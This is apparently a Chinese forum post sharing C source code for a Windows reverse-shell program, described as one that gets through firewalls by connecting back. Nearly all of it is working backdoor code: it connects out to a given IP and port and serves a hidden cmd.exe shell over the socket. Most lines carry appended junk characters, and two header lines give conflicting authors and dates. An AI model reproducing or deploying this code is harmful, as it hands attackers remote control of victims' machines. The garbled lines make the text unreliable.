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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QY)p![6Fj  
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/* ============================== M%ecWr!tj  
Rebound port in Windows NT !8UIyw  
By wind,2006/7 +C!GV.q[  
===============================*/ :(US um  
#include WZ ?>F  
#include }TMO>eB'  
~2rQ80_  
#pragma comment(lib,"wsock32.lib") K9xvog  
#>aq'47j  
void OutputShell(); +g?uvXC&  
SOCKET sClient; `:3nF'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "G>d8GbIh  
n! 5(Z5=  
void main(int argc,char **argv) r*b+kSh  
{ 9RlJf=Z#H  
WSADATA stWsaData; afX|R  
int nRet; O MQ?*^eA  
SOCKADDR_IN stSaiClient,stSaiServer; ~`Bk CTT  
Ich^*z(F$  
if(argc != 3) k ?KJ8  
{ YNV, dKB  
printf("Useage:\n\rRebound DestIP DestPort\n"); P@UE.0NYX  
return; ~ `}),aA  
} 0 ^>,  
H}GGUE&c*  
WSAStartup(MAKEWORD(2,2),&stWsaData); &mtt,]6C_  
\12G,tBH  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {?lndBP<  
z**2-4 z  
stSaiClient.sin_family = AF_INET; }d; 2[fR)  
stSaiClient.sin_port = htons(0); \ejHM}w3,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tm5{h{AM  
T=YVG@fm?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '9u?lA^9$  
{ _(g0$vRP~  
printf("Bind Socket Failed!\n"); ~-vCY  
return; AmIW$(Ce  
} A3tv'-e9  
yC$m(Y12FN  
stSaiServer.sin_family = AF_INET; Q SF0?Puf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ka!w\v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }y*D(`  
~ 3M4F^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e bp t/q[  
{ oQ -m  
printf("Connect Error!"); $i+@vbU6  
return;  b}NNkM  
} NUVKAAgMX  
OutputShell(); DcBAncsK  
} O0jOI3/P%  
 mhrF9&s  
void OutputShell() 0'6ai=W  
{ v@QnS  
char szBuff[1024]; MuMq%uDA"  
SECURITY_ATTRIBUTES stSecurityAttributes; &G_#=t&  
OSVERSIONINFO stOsversionInfo; o#6QwbU25  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LTS{[(%  
STARTUPINFO stStartupInfo; &Cb,C+q  
char *szShell; M7?ktK9`ma  
PROCESS_INFORMATION stProcessInformation; {E%c%zzQ  
unsigned long lBytesRead; I H=$ w c  
kP$ E+L  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ',g%L_8Sq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pnSKIn  
stSecurityAttributes.lpSecurityDescriptor = 0; z4_B/Q  
stSecurityAttributes.bInheritHandle = TRUE; 36{OE!,i  
:z P:4 NW  
^BLO}9A{P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1_S]t[?I/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nZnqXclzxn  
c=+%][21  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V~*>/2+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (U# ,;  
stStartupInfo.wShowWindow = SW_HIDE; fx+_;y  
stStartupInfo.hStdInput = hReadPipe; KF#^MEw%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I1m[M?  
RK-bsf  
GetVersionEx(&stOsversionInfo); dQSO8Jf  
Pa0W|q#?X  
switch(stOsversionInfo.dwPlatformId) k%gj  
{ TaSS) n  
case 1: OWrQKd  
szShell = "command.com"; ^vM6_=g2E%  
break; ppn  8  
default: <QvVPE}z   
szShell = "cmd.exe"; RuYIG?J=/  
break; 67&IaDts  
} I)1ih  
 Mj1f;$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :(ql=+vDb4  
D$4GNeB+#  
send(sClient,szMsg,77,0); 'z,kxra|n  
while(1) \5&Mg81  
{ R98YGW_ dT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zAM9%W2v_  
if(lBytesRead) @~s5{4  
{ dakHH@Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;UgwV/d  
send(sClient,szBuff,lBytesRead,0); @k;65'"Q  
} VD&wO'U  
else @yb'h`f]  
{ M2ex 3m  
lBytesRead=recv(sClient,szBuff,1024,0); G{6@]72  
if(lBytesRead<=0) break; 8D`+3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Xj+_"0 #  
} I2HV{1(i  
} |~%RSS~b*  
.S|T{DMQ[  
return; j;uUM6  
}
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